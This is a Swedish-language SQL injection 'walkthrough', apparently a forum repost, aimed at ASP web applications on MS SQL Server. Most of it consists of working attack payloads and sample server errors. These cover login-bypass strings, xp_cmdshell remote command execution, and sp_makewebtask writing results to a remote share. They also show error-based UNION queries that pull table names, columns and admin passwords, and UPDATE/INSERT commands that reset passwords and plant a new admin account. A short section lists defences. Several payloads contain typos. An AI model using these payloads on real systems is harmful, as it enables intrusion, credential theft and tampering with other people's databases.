SQL Injektion "Walkthrough" [Guide] Översatt Till svenska utav MobStar.

Creds:
Översatt utav MobStar www.GoldenMembers.nu
Du får inte tabort/redigera/posta denna guide någon annanstans
utan denna "creds" rutan!
Denna informationen har
Kommit ifrån sk@scan-associates.net
http://www.securiteam.com/securityre...DP0N1P76E.html



Detaljer:
1.0 Inledning
När en maskin bara har port 80 öppen
så kan inte ens din bästa vulnerability scanner
ge dig något användbart och du vet att admin
alltid patchar sin server, vi måste hacka via webläsaren.
SQL injektioner är en typ utav hacking via webläsaren,
det kräver bara att port 80 är öppen det går ibland även
fast admin är glad för att patcha. Attacken görs på web aplikationen
(som ASP, JSP, PHP, CGI, mm) direkt istället för på servern
eller mjukvaror som körs på operativsystemet.

Den här artiklen tar inte upp något nytt,
SQL intektioner har varit använt vitt och brett länge.
Vi skrev artiklen för att vi ville dokumentera några
utav våra kunskaper när vi använt SQL injektioner och hoppas
att det kanske är till någon form utav användning för andra.
Du kommer att hitta ett eller två "tricks" men kolla på
9.0 "Var kan jag få mer information?" som verkligen förtjänar
creds för att ha utvecklat många tekniker inom SQL injektioner.



1.1 Vad är en SQL injektion?
Det är ett trick att injektera SQL frågor/command som en input
via webadresser. Många websidor tar parametrar från web användare,
och gör en SQL förfrågan till databasen. Ta till exempel när en
användare loggar in, websidan tar användarnamnet och lösenordet
och gör till en SQL förfrågan till databasen för att kolla ifall
en använder har ett giltigt användarnamn och lösenord.
Med SQL injektion är det möjligt för oss att skicka ändrade
användarnamn och/eller lösenords fält
vilka kommer ändra SQL förfrågan och kommer ge oss något annat.



1.2 Vad behöver du?
Vilken webläsare som helst.
(Rekomenderar Mozila FireFox då det finns massor utav
användabra plugins)



2.0 Vad bör du kolla efter?
Försök att hålla utkik efter sidor som tillåter dig att skicka data,
tex. Inloggnings sidor, sök fält, mm. Ibland anv'nder HTML sidor POST
kommandon för att sända parametrar till en annan ASP sida. Därför är
det inte alltid du ser parametrarna i URL'en.. Hur som helst, du kan
kolla i källkoden utav HTML'n, och kolla efter "FORM" taggar i koden.
Ibland kan du hitta något som detta:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

Allting emellan <FROM> och </FROM> har potentiella parametrar
vilka kan vara användbara. (För att utnytja)



2.1 Men om jag inte kan hita någon sida som har input?
Du ska kolla efter sidor med ASP, JSP, CGI eller PHP.
Försök att kolla extra efter URL's som har parametrar som:
http://sidan.se/index.asp?id=10



3.0 Hur testar man om den är sårbar?
Börja med enkel förfrågan. Skriv något som:

hi' or 1=1--

Som användarnamn eller lösenord eller tillochmed i URL'en. tex:
-Användarnamn: hi' or 1=1--
-Password: hi' or 1=1--
-http://sidan.se/index.asp?id=hi' or 1=1--

Om du måste göra detta med ett dolt fält är det bara att ladda ner
källkoden utav HTML koden från sidan, spara den på din dator och
modifirea URL'en och dolda fält. tex:

<FORM action=http://sidan.se/index.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>

Har du turen på din sida så kommer du bli inloggad
utan användarnamn eller password.



3.1 Men varför ' or 1=1--?
Låt oss kolla på ett annat exempel varför ' or 1=1-- är viktigt.
Förutom att komma förbi inloggningen är det också möjligt att
se extra information som vanligtvis inte är synligt.
Ta en ASP sida som länkar dig vidare till någon annan sida
med följande URL:

http://sidan.se/index.asp?category=food

I URL'en är 'category' variabeln och 'food' är värdet
som är kopplat till variabeln. För att göra det måste ASP
koden innehålla följande kod
(okej, detta är en riktig kod som vi gjorde för träning):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

Som vi kan se så är våran variabel kopplad till v_cat och då
skulle SQL utskicket vara:

SELECT * FROM product WHERE PCategory='food'

Förfrågan skulle ge oss ett svar som innehåller en eller flera
rader som matchar våran WHERE definition, som var 'food'.

Nu antar vi att vi ändrade URL'en till något som detta:

http://sidan.se/index.asp?category=food' or 1=1--

Nu är våran variabel v_cat likamed "food' or 1=1--"
om vi ersatte det i SQL förfrågan, skulle vi ha:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Förfrågan borde nu välja allting från produkt tabellen
oavsett om PCategory är likamed 'food' eller ej.
Dubbel sträcken "--" berättar för MS SQL servern att ignorera
resten utav förfrågan, vilket kommer att få den att ignorera
den sista enkla citat tecknet (').

Hur som helst, om det inte är en SQL server eller att du
helt enkelt inte kan ignorera resten utav förfrågan kan
du också prova:

' or 'a'='a

SQL förfrågan kommer nu vara:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Det borde ge samma resultat.

Beroende på SQL förfrågan kanske du måste
proga någon utav dom hära möjligheterna:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a



4.0 Hur skickar jag en SQL förfrågan på distans?
Att kunna injektera SQL kommandon menas oftast att vi kan
exekvera vilken SQL förfrågan vi vill. Default installationen
av MS SQL körs som SYSTEM vilket är detsamma som
Administratör i windows. Vi kan använda lagrade procedurer som
master..xp_cmdshell för att geneomföra en distans exekvens:

';exec master..xp_cmdshell 'ping 10.10.1.2'--

Försök att använda dubbla citat tecken (")
ifall enkla (') inte funkar.

Semikolonet stoppar SQL förfrågan och det tillåter dig att
starta ett nytt SQL kommando. För att verifiera att
kommandet har körts korrekt, kan du lyssna på ICMP paket
från 10.10.1.2, kolla ifall där är några paket ifrån servern:

#tcpdump icmp

Om du inte får något ping svar från servern och får
felmeddelanden som innehåller att du inte har tillåtelse kan det
vara möjligt att administratören har en gräns för internet användare
att komma åt deras lagrade procedurer.



5.0 Hur får man output av min SQL förfrågan?
Det är möjligt att använda sp_makewebtask för att skriva
din förfrågan till HTML.

';EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html",
"SELECT * FROM INFORMATION_SCHEMA.TABLES"

Men målets IP måste tillåta att "share" delar med sig till alla.



6.0 Hur får jag data ifrån en databas som har ODBC fel?
Vi kan använda information från felmeddelandet från MS SQL servern
för att få nästan all data vi vill ha. Ta följande sida tex:

http://sidan.se/index.asp?id=10

Vi kommer försöka att UNION heltalet '10' med en annan sträng
ifrån databasen:

http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCEMA.TABLES--

System tabellen INFROMATION_SVEMA.TABLES innehåller
information om alla tabeller på servern.
Fältet TABLE_NAME innehåller självklart namn för var och utan
tabellerna i databasen. Den var vald eftersom vi vet att den alltid finns.
Våran förfrågan:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SHEMA.TABLES--

Detta skulle ge första tabell namnet i databasen. När vi UNION
stängen och värdet heltalet 10 försöker MS SQL servern att
konvertera en sträng (nvarchar) till ett heltal. Detta kommer
skapa ett fel, eftersom att vi inte kan konvertera nvarchar till int.
kommer servern att visa följande fel:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

Fel meddelandet är tillräckligt bra för att berätta för oss
att värdet inte kan bli konverterat till ett heltal.
I detta fallet har vi hittat det första tabellnamnet i databasen,
Vilket är "table1".

För att få fram nästa tabell namn kan vi använda följande förfrågan:

http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Vi kan också söka efter data genom att använda nyckelordet LIKE:

http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

'%25login%25' kommer att tydas som %login% utav SQL servern.
I detta fallet kommer vi få första tabellnamnet som matchar
kriterierna, "admin_login".

6.1 Hur ska man veta alla kolumn namn på tabellerna?
Vi kan använda en annan användbar tabell INFORMATION_SCHEMA.COLUMNS
för att visa alla kolumn namn ifrån en tabell:

http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Nu när vi har första kolumn namnet kan vi använda NOT IN ()
för att få reda på nästa columns namn:

http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

När vi fortsätter vidare tar vi resten utav kolumnernas namn
tex. "password", "details". Vi vet det när vi får följande fel meddelande:

http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]ORDER BY items must appear in the select list
if the statement contains a UNION operator.
/index.asp, line 5



6.2 Hur får jag vilken data jag vill?
Nu när vi har identifierat några viktiga tabeller och
deras kolumner kan vi använda samma teknik för att
samla in vilken information vi vill ifrån databasen.

Nu ska vi ordna det första login_name 'et ifrån
"admin_login" tabellen:

http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

Vi vet nu att där är en admin användare med användarnamnet "neo".
För att få passwordet ifrån "neo" från databasen skriver vi:


http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

Nu kan vi logga in som "neo" med lösenordet "m4trix".

6.3 Hur får jag fram värden med nummer?
Det finns en gräns som tekniken ovanför berättar.
Vi kan inte få några fel meddelanden om vi försöker
att konvertera texten som består utav ett nummer.
(endast siffor emellan 0-9).
Låt oss säga att vi försöker få
lösenordet ifrån "trinity" vilket är "331173":

http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Vi skulle förmodlingen få "Sidan kan inte visas".
Anledningen till det är att lösenordet "31173" kommer
att konverteras till ett nummer före UNION med
ett heltal (10 i detta fallet). Eftersom att det är
ett giltigt UNION påstående kommer SQL servern inte skicka
ett ODBC fel meddelande och då kommer vi inte
kunna få några siffror.

För att lösa detta problemet kan vi läggatill
nummer strängen med några bokstäver för att vara säkra
på att konverteringen blir fel. Låt oss försöka
denna förfårgan istället:

http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Vi använder helt enkelt plus tecknet (+) för att
lägga till lösenordet med vilken text vi vill.
(ASSCII koden för '+' = 0x2b). Vi kommer lägga till
'(space)morpheus' till det riktiga lösenordet.
Då kommer det att bli '311373 morpheus' öven om vi
har nummer strängen '31173'. Genom att manuellt tillkalla
convert() funktionen och försökakonvertera '31173 morpheus'
till ett heltal kommer SQL servern att skriva
ett ODBC fel meddelande:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Nu kan du även logga in som 'trinity' med passwordet '31173'.



7.0 Hur uppdaterar/lägger jag till data till databasen?

Nu när vi lyckats samla alla kolumner i tabellen är det
möjligt att uppdatera eller lägga till ett nytt värde till tabellen.
Tex. för att byta lösenordet för användaren 'neo'

http://sidan.se/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

Att lägga till ett värde till databasen:

http://sidan.se/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Vi kan nu logga in med användarnamnet 'neo2'
samt lösenordet 'newpas5'



8.0 Hur undviker jag SQL injektioner?
filtrera ut tecken som enkelt citat tecken,
dubbelt citat tecken, snedsträck, semikolon,
tillåt inte NULL, ny rad mm. i någon sträng som:
- Input från användare
- Parametrar i URL'en
- Värden ifrån cookies.


För nummer värden konvertera det till ett heltal
innan det blir ett SQL påstående. Eller bara
använd ISNUMERIC för att vara säker på att
det är ett heltal.

Tabort sparade procedurer som du inte använder som:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask




9.0 Var kan jag läsa mer?
Det är bara engelska guider, men det handlar om att vilja
lära sig det inte om att orka.

Här är grunder, demos så du kan testa det själv,
Och advancerad fakta.
http://www.w3schools.com/sql/default.asp

Ett utav dom tidigaste fungerande SQL injektionerna
vi har sett borde vara texten från Rain Forest Puppy
Om hur han hackade PacketStorm.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

Bra artikel om att samla information från ODBC fel meddelanden:
http://www.blackhat.com/presentation...Litchfield.doc

En bra summering utav SQL Injektioner på SQL Servrar:
http://www.owasp.org/asac/input_validation/sql.shtml

Senseport's artikel om att läsa SQL Injection:
http://www.sensepost.com/misc/SQLinsertion.htm


Andra sidor som är bra att kolla:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepape...LInjection.pdf

Hoppas att denna guide har varit till någon nytta.
Översatt utav MobStar på www.GoldenMembers.nu